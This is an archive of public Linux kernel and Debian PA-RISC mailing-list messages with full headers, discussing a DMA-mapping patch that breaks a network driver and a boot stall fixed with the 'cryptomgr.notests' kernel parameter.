To: Helge Deller <deller@gmx.de>, Christoph Hellwig <hch@lst.de>
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Apr 21 23:53:45 2018
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-4@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1fA0S0-0001ZZ-PY
	for glk-linux-kernel-4@m.gmane.org; Sat, 21 Apr 2018 23:53:45 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1753362AbeDUVzw (ORCPT <rfc822;glk-linux-kernel-4@m.gmane.org>);
        Sat, 21 Apr 2018 17:55:52 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:37456 "EHLO
        bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
        by vger.kernel.org with ESMTP id S1753310AbeDUVzs (ORCPT
        <rfc822;linux-kernel@vger.kernel.org>);
        Sat, 21 Apr 2018 17:55:48 -0400
Original-Received: from localhost (localhost [127.0.0.1])
        by bedivere.hansenpartnership.com (Postfix) with ESMTP id 91C858EE293;
        Sat, 21 Apr 2018 14:55:47 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
        by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
        with ESMTP id Rj7rUnjl6IPo; Sat, 21 Apr 2018 14:55:47 -0700 (PDT)
Original-Received: from [192.168.40.139] (unknown [80.169.201.162])
        (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
        (No client certificate requested)
        by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 2433C8EE062;
        Sat, 21 Apr 2018 14:52:57 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
        s=20151216; t=1524347747;
        bh=JhwGxYbcjz2hU7Dqx/75JZAj3vVpTcWUwaBaMTv7dHk=;
        h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
        b=JSeQKU8jdKnG9ZJgqyBpf1I4rDkYAcnS8htsGHQDRCvhT4cD6RDx0IeYxHlfu9aB5
         pTHUujOrj4rkLGYHBHD/BQnbCDnWyC2BYaf8aopImKCeUOEXq6jz8kW4XtJBpBK8C4
         y1F+o0Uc1S45iaNGwjiIWEjEH4rzGrGs/arLHt34=
In-Reply-To: <e0b4f3be-68b9-c3af-e432-fd20419e2d70@gmx.de>
X-Mailer: Evolution 3.22.6 
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2747107 gmane.linux.kernel.cross-arch:43638 gmane.linux.ports.alpha:4985 gmane.linux.kernel.arc:3825 gmane.linux.ports.arm.kernel:645105 gmane.linux.ports.hexagon:1667 gmane.linux.ports.parisc:28546 gmane.linux.ports.sh.devel:56901 gmane.linux.ports.sparc:27727
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2747107>

On Sat, 2018-04-21 at 19:43 +0200, Helge Deller wrote:
> On 20.04.2018 10:03, Christoph Hellwig wrote:
> > Switch to the generic noncoherent direct mapping implementation.
> > 
> > Parisc previously had two different non-coherent dma ops
> > implementation that just different in the way coherent allocations
> > were handled or not handled.  The different behavior is not
> > selected at runtime in the arch_dma_alloc and arch_dma_free
> > routines.  The non-coherent allocation in the pcx cases now uses
> > the dma_direct helpers that are a little more sophisticated and
> > used by a lot of other architectures.
> > 
> > Fix sync_single_for_cpu to do skip the cache flush unless the
> > transfer is to the device to match the more tested unmap_single
> > path which should have the same cache coherency implications.
> > 
> > This also now consistenly uses flush_kernel_dcache_range for cache
> > flushing while previously some of the SG based operations used
> > flush_kernel_vmap_range instead.
> 
> 
> This patch breaks a 32bit kernel on a B160L machine (PA7300LC CPU,
> "pcxl2"). After applying this patch series the lasi82956 network
> driver works unreliable.  NIC gets IP, but ping doesn't work.
> See drivers/net/ethernet/i825xx/lasi_82596.c, it uses dma*sync()
> functions.

That's actually a weird result.  The 32 bit machines have two cases:
those that can make uncached memory by setting the U bit (and thus
don't need the sync operations in the lasi and D700 drivers) and those
that can't.  The latter is basically only the old 700 series.  The B180
is in the class of can set pages to uncached, so it sounds like
something in our uncached memory allocation for dma areas is failing
after this patch set.

I still have an old 700 in my box of curiosities, so I can try to dust
it off and plug it back in when I get home to see what it makes of the
series when it gets fixed.

James

James



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 00:17:05 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <a0480809-8512-779d-e59c-c93775dc378a@gmx.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
 <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1524348923 22429 195.159.176.226 (21 Apr 2018 22:15:23 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 22:15:23 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: John David Anglin <dave.anglin@bell.net>,
 Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 00:15:19 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fA0ms-0005lC-CY
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 00:15:18 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 1D991254; Sat, 21 Apr 2018 22:17:29 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Apr 21 22:17:29 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 5149821D
	for <lists-debian-hppa@bendel.debian.org>; Sat, 21 Apr 2018 22:17:20 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.599 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	RCVD_IN_DNSWL_LOW=-0.7] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id aN50yL2yg3Go for <lists-debian-hppa@bendel.debian.org>;
	Sat, 21 Apr 2018 22:17:15 +0000 (UTC)
X-policyd-weight: using cached result; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.17.21])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 4F95C23F
	for <debian-hppa@lists.debian.org>; Sat, 21 Apr 2018 22:17:15 +0000 (UTC)
Original-Received: from [192.168.20.60] ([46.142.76.178]) by mail.gmx.com (mrgmx101
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0M8IuM-1eEBN32Mle-00vzGA; Sun, 22
 Apr 2018 00:17:07 +0200
In-Reply-To: <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K1:gm4n6bao/Yl3rCX/11aQLQbMH42AzMLNzXoYidKhMdF6U35/QGG
 fADxVjez33hhKc/94FHUJE3kgiSF1+tUOd9qPpfRu3PORDO66B9K93CuDNUwShgTMBdS2oF
 NT9WrLcaaMtpZMib+x3PwIpAU74QYqcVf4jqYt4fKjJx/tZNBmAkNEwY/y2kxyMr7l800dk
 d23+UroXoAFNI8du9ob+Q==
X-UI-Out-Filterresults: notjunk:1;V01:K0:8NMhdSlm2lk=:HBZxN99M7bR0FTSYM5rqB3
 Xntq72Wy2AjW0g6u8wPjAjDtQKrdCpU2tCI1ceRcTTy+qrtYuYa+6tLzaxSjie3LesnxtT+NW
 XaJ39wKlCN98tlT9TrkknGJPa5ftDcWFtD0hXDzCwQTCCBjZ4anFWtF5niVncc09fWHpyisHQ
 P3PUcjYA8kbBcYnvAzVZI+Yfts8+pKKqdXMbBKVe7CJsnNxS3OLD2jYAU3nkT7EoYB2dQNEmy
 ZdIczVy0xIcodwj29ptOzDIUGzhLPRKw+ck1HGXRPFSbMoaNU8YT3C+hM5tw8x5M90k/7ZUlL
 fd+H6jy0pxnBHtVw2hbQHpMvFrWTMKZrZiLjI+pi0Rrfjqfr/BoRXnRtNRLDfLeevK3m8jNHF
 twT4Ymzo1GTVJW/eMeKQ3xdlfmCLnTvG6JOY0DaUBAw9RmyqjXUaT474RHxQjl2/PD8IY21E7
 gA64K/rUiivsWYAe499t9xB6Q1QWAFOQ+Ad3OSr+md6BT2ENUZKWng0IIxAuL4pMzw2nUyMf6
 e2hi8+phcUHLYkplrLEytvUu0yBjxgZYree5DvUwvJCk+m0PHR2EeIFMDc27YExmZP7nO+X9N
 YfKuXA9T5R4e6cFp6PnHmDKLtaZrSkzRIDcuXQj9zojb6P/KRdDuPEXde1K54uroE61uq/ux2
 ipu9CLAqgPxbUzZOnailpI20QiUcEOFLEykcUuy9nsjdxjn8uWn1JWRJDw+ar1jVMtyYPszPq
 IkZ6vY/TWZUkrRfZ95KznlU0NcKbqtcyDfwZIQeIHxiCCQNEpmVC6802jvugFnrzGDz1/A01 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <Yz2ejWws51E.A.H5C.5h72aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8711
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/a0480809-8512-779d-e59c-c93775dc378a@gmx.de
Resent-Date: Sat, 21 Apr 2018 22:17:29 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7727 gmane.linux.ports.parisc:28547
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7727>

On 21.04.2018 21:12, John David Anglin wrote:
> On 2018-04-20 2:37 AM, Helge Deller wrote:
>>> Also interesting, the kernel messages for 4.15.11, please notice the
>>> time difference between "random: crng init done" and "Key type
>>> asymmetric registered":
>> Seems to be a generic issue.
>> https://www.linuxquestions.org/questions/showthread.php?p=5803405#post5803405
>>
>> My assumption is, that the kernel waits until it has
>> enough randomness for the various encryption algorithms.

> I think this is caused by cryptomgr_test.
> It can be disabled with "cryptomgr.notests" on command line.

Did you tested this?
Unless I typed it wrong it didn't worked on my B160L:
[    0.000000] Kernel command line: root=/dev/sda5 crpytomgr.notests HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
...
[   15.549370] workingset: timestamp_bits=14 max_order=15 bucket_order=1
[   15.688261] zbud: loaded
[   57.608154] random: crng init done
...long delay here...
[  207.522038] Key type asymmetric registered
[  207.574154] Asymmetric key parser 'x509' registered
[  207.635883] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 250)
[  207.729718] io scheduler noop registered

Helge



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sat, 21 Apr 2018 18:36:56 -0400
Lines: 11
Approved: news@gmane.org
Message-ID: <e6abed84-ef22-ded4-b256-eb96854ad01c@bell.net>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
 <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
 <a0480809-8512-779d-e59c-c93775dc378a@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524350107 30645 195.159.176.226 (21 Apr 2018 22:35:07 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sat, 21 Apr 2018 22:35:07 +0000 (UTC)
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
 Thunderbird/52.7.0
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: Helge Deller <deller@gmx.de>, Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 00:35:03 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fA15z-0007st-D3
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 00:35:03 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 965FD142; Sat, 21 Apr 2018 22:37:14 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sat Apr 21 22:37:14 2018
Old-Return-Path: <dave.anglin@bell.net>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 500FF21D
	for <lists-debian-hppa@bendel.debian.org>; Sat, 21 Apr 2018 22:37:06 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.579 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7,
	UNPARSEABLE_RELAY=0.001] autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id KcCewpdttD3B for <lists-debian-hppa@bendel.debian.org>;
	Sat, 21 Apr 2018 22:37:01 +0000 (UTC)
Original-Received: from mtlfep01.bell.net (belmont79srvr.owm.bell.net [184.150.200.79])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "", Issuer "Openwave Messaging Inc." (not verified))
	by bendel.debian.org (Postfix) with ESMTPS id 2BF37142
	for <debian-hppa@lists.debian.org>; Sat, 21 Apr 2018 22:37:00 +0000 (UTC)
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20180421223656.XPVP10498.mtlfep01.bell.net@mtlspm01.bell.net>
          for <debian-hppa@lists.debian.org>;
          Sat, 21 Apr 2018 18:36:56 -0400
Original-Received: from [192.168.2.49] (really [69.158.175.55]) by mtlspm01.bell.net
          with ESMTP
          id <20180421223656.OUXM28394.mtlspm01.bell.net@[192.168.2.49]>;
          Sat, 21 Apr 2018 18:36:56 -0400
In-Reply-To: <a0480809-8512-779d-e59c-c93775dc378a@gmx.de>
Content-Language: en-US
X-Cloudmark-Analysis: v=2.2 cv=IaFoYSia c=1 sm=0 tr=0 a=V8DPTAhloC/wURew+oITug==:17 a=IkcTkHD0fZMA:10 a=Kd1tUaAdevIA:10 a=FBHGMhGWAAAA:8 a=vKvyR87-UzYr3hYc0m0A:9 a=QEXdDO2ut3YA:10 a=9gvnlMMaQFpL9xblJ6ne:22
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <ydis0Amme7B.A.gKG.a072aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8712
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/e6abed84-ef22-ded4-b256-eb96854ad01c@bell.net
Resent-Date: Sat, 21 Apr 2018 22:37:14 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7728 gmane.linux.ports.parisc:28548
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7728>

On 2018-04-21 6:17 PM, Helge Deller wrote:
>> It can be disabled with "cryptomgr.notests" on command line.
> Did you tested this?
Not recently.  I found this when I was working on the cache.TLB patch.  
It caused a stall in one version.
> Unless I typed it wrong it didn't worked on my B160L:
> [    0.000000] Kernel command line: root=/dev/sda5 crpytomgr.notests HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux
You typed it wrong.

Dave


From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 11:06:33 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <dce63ac1-924f-60f5-5535-2d927de7c59a@gmx.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
 <9671ecea-1353-df1c-ebbd-24a5b7d3008b@oetec.com>
 <de1ac156-926a-c187-f15e-2c3da9251c82@web.de>
 <f34b2787-17e5-4fef-f028-543082ff95b6@gmx.de>
 <103f23dc-0d00-2ca1-fb98-271d1e03ad90@web.de>
 <2847ef55-b5b1-1867-df6a-ad5ce224abd4@gmx.de>
 <ece0086b-6c7f-4c61-b101-475f085ec120@bell.net>
 <a0480809-8512-779d-e59c-c93775dc378a@gmx.de>
 <e6abed84-ef22-ded4-b256-eb96854ad01c@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 8bit
X-Trace: blaine.gmane.org 1524387960 30823 195.159.176.226 (22 Apr 2018 09:06:00 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Sun, 22 Apr 2018 09:06:00 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.5.2
Cc: debian-hppa@lists.debian.org, linux-parisc
 <linux-parisc@vger.kernel.org>, Dennis Clarke <dc@oetec.com>
To: John David Anglin <dave.anglin@bell.net>,
 Frank Scheiner <frank.scheiner@web.de>
Original-X-From: bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org Sun Apr 22 11:05:56 2018
Return-path: <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>
Envelope-to: debian-hppa@m.gmane.org
Original-Received: from bendel.debian.org ([82.195.75.100])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <bounce-debian-hppa=debian-hppa=m.gmane.org@lists.debian.org>)
	id 1fAAwV-0007uF-Vj
	for debian-hppa@m.gmane.org; Sun, 22 Apr 2018 11:05:56 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with QMQP
	id 2FDA22A7; Sun, 22 Apr 2018 09:08:07 +0000 (UTC)
X-Mailbox-Line: From debian-hppa-request@lists.debian.org  Sun Apr 22 09:08:07 2018
Old-Return-Path: <deller@gmx.de>
X-Original-To: lists-debian-hppa@bendel.debian.org
Delivered-To: lists-debian-hppa@bendel.debian.org
Original-Received: from localhost (localhost [127.0.0.1])
	by bendel.debian.org (Postfix) with ESMTP id 4690B292
	for <lists-debian-hppa@bendel.debian.org>; Sun, 22 Apr 2018 09:07:58 +0000 (UTC)
X-Virus-Scanned: at lists.debian.org with policy bank en-lt
X-Amavis-Spam-Status: No, score=-7.579 tagged_above=-10000 required=5.3
	tests=[BAYES_00=-2, FOURLA=0.1, FREEMAIL_FROM=0.001, LDO_WHITELIST=-5,
	MURPHY_DRUGS_REL8=0.02, RCVD_IN_DNSWL_LOW=-0.7]
	autolearn=ham autolearn_force=no
Original-Received: from bendel.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id 3-KqV1tNdGq3 for <lists-debian-hppa@bendel.debian.org>;
	Sun, 22 Apr 2018 09:07:53 +0000 (UTC)
X-policyd-weight: NOT_IN_SBL_XBL_SPAMHAUS=-1.5 NOT_IN_BL_NJABL=-1.5 CL_IP_EQ_HELO_IP=-2 (check from: .gmx. - helo: .mout.gmx. - helo-domain: .gmx.)  FROM/MX_MATCHES_HELO(DOMAIN)=-2; rate: -7
Original-Received: from mout.gmx.net (mout.gmx.net [212.227.15.15])
	(using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits))
	(Client did not present a certificate)
	by bendel.debian.org (Postfix) with ESMTPS id 2AC562A7
	for <debian-hppa@lists.debian.org>; Sun, 22 Apr 2018 09:06:51 +0000 (UTC)
Original-Received: from [192.168.20.60] ([88.130.64.37]) by mail.gmx.com (mrgmx002
 [212.227.17.190]) with ESMTPSA (Nemesis) id 0LwJFG-1eL86M0oXu-01821P; Sun, 22
 Apr 2018 11:06:36 +0200
In-Reply-To: <e6abed84-ef22-ded4-b256-eb96854ad01c@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K1:1kCYtzuaKGpHmIpcu12pIp5oYNILZFGbW3AwsMdGj6JwK3Sn45Q
 0PbDFCSiiiIAo7axMx2gxWmqjpWzNAVWqJiCJd/g1/TILfmA3Lkz0PYHjAlbhxNC8jw2TKl
 Icje+yv6Wcu+2eHPP3zn/hSaXv0P78fhLWQw/C8KZ8ktaezxBn/Hzcs6/N3bl3By2N3ksZP
 H6bLGAF9AM/zwnZPXTZgg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZXIQOJvTcNA=:+aOGKf6ProjuL913z38T8D
 cWePBwwOsr+gG80JFHjqxwx2n/vdvVMK4uEZg9MqrjwAv+DAO4Njzi78SQnR9GvA0Ky/LU5a/
 utwHdEepea5c7OrRwJz5C0z3QoFAmWROtq31WJiskRSLNkEPxC8SbcgHgyYM6pGmIaTOzT2CV
 CDie3s+55wJTxHEKPLAyjNCftDNpuHtpew7GP5c8/ZHQ7lAv71Gm0/qPiGDgzHlUicgqMnK4q
 sJ8n5Q25ww0tpDYH9PhmKnvko8Ah3r6FfWqJwxOAJmIwmUCd1dXarFrs6HJ7UG5EYsibSzm40
 AMM6ZDzgkAgdZ8eRcZIwF2SG0ffiJPQRNnAoQC8aahwKsFv5eeA8ZYYdphcGzIf3fXZUFAyjq
 rAb7hHFK5T6AjfVQKaD3AHcWV0wd5xiT7chwEQyg25ntj6qu6o53CdrgX77ZMv+H5ad2GbaiA
 AHE5miFLYMo+1PIo0Me/995ctj8GSHBvv6OHex3Qe5LepDhCSH0a9DmGgcCARcGXVfK9tYDrI
 LqZyaSBYDJ+tHtEs1ptFCem2NExOHrdU3F/NWoB7ijZA/DZP9Z4TSLFJXDTO0OT38lbs3Xf9Z
 sVeQ4nCgrKtMA0RnXzvYXnwfxkmVY6LTKQz1s/ytxkSaXsXPzQiMGNeDzwVnvwPoJ3BLmvEnp
 Jzsp25o+MCnhHNrahydWkmyiJl+DiiDbqPV5p4PHsYyAZ1OlXSbzVQI5RYkeZ1q/onqcZitrf
 iWPk/Q+LbMKe2METL7t21T4aKTLRVEHWJHpM6sY2MsGQ0KJWryvTLXZW3ODduWa9W31CUFyI 
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <uOjp4enZAGL.A.njE.3DF3aB@bendel>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/8713
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-URL: <https://lists.debian.org/debian-hppa/>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
List-Archive: https://lists.debian.org/msgid-search/dce63ac1-924f-60f5-5535-2d927de7c59a@gmx.de
Resent-Date: Sun, 22 Apr 2018 09:08:07 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:7729 gmane.linux.ports.parisc:28549
Archived-At: <http://permalink.gmane.org/gmane.linux.debian.ports.hppa/7729>

On 22.04.2018 00:36, John David Anglin wrote:
> On 2018-04-21 6:17 PM, Helge Deller wrote:
>>> It can be disabled with "cryptomgr.notests" on command line.
>> Did you tested this?
> Not recently.  I found this when I was working on the cache.TLB patch.  It caused a stall in one version.
>> Unless I typed it wrong it didn't worked on my B160L:
>> [    0.000000] Kernel command line: root=/dev/sda5 crpytomgr.notests HOME=/ console=ttyS0 TERM=vt102 palo_kernel=2/vmlinux

> You typed it wrong.

Yes, my fault.
"cryptomgr.notests" did worked as expected.
Thanks!
Helge
 



From - Thu Nov 08 21:41:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Frank Scheiner <frank.scheiner@web.de>
Newsgroups: gmane.linux.debian.ports.hppa,gmane.linux.ports.parisc
Subject: Re: Ultra5 successful install - PGX64 issues
Date: Sun, 22 Apr 2018 21:17:11 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <2b4b37c1-b719-8ece-2de3-33075450e6da@web.de>
References: <CAFC0-0XVQUVHmM+TT4qUK_djRGx-eV+d=5FTpGyjRR40mwAv=Q@mail.gmail.com>
 <6a4e3490-dd3e-5832-43be-dba8211ce6e4@physik.fu-berlin.de>
 <dd60b1eb-595d-f208-2885-c958a5ff3a4c@blastwave.org>
 <16600fdc-6bba-1e2d-f106-560b8ea366c8@physik.fu-berlin.de>
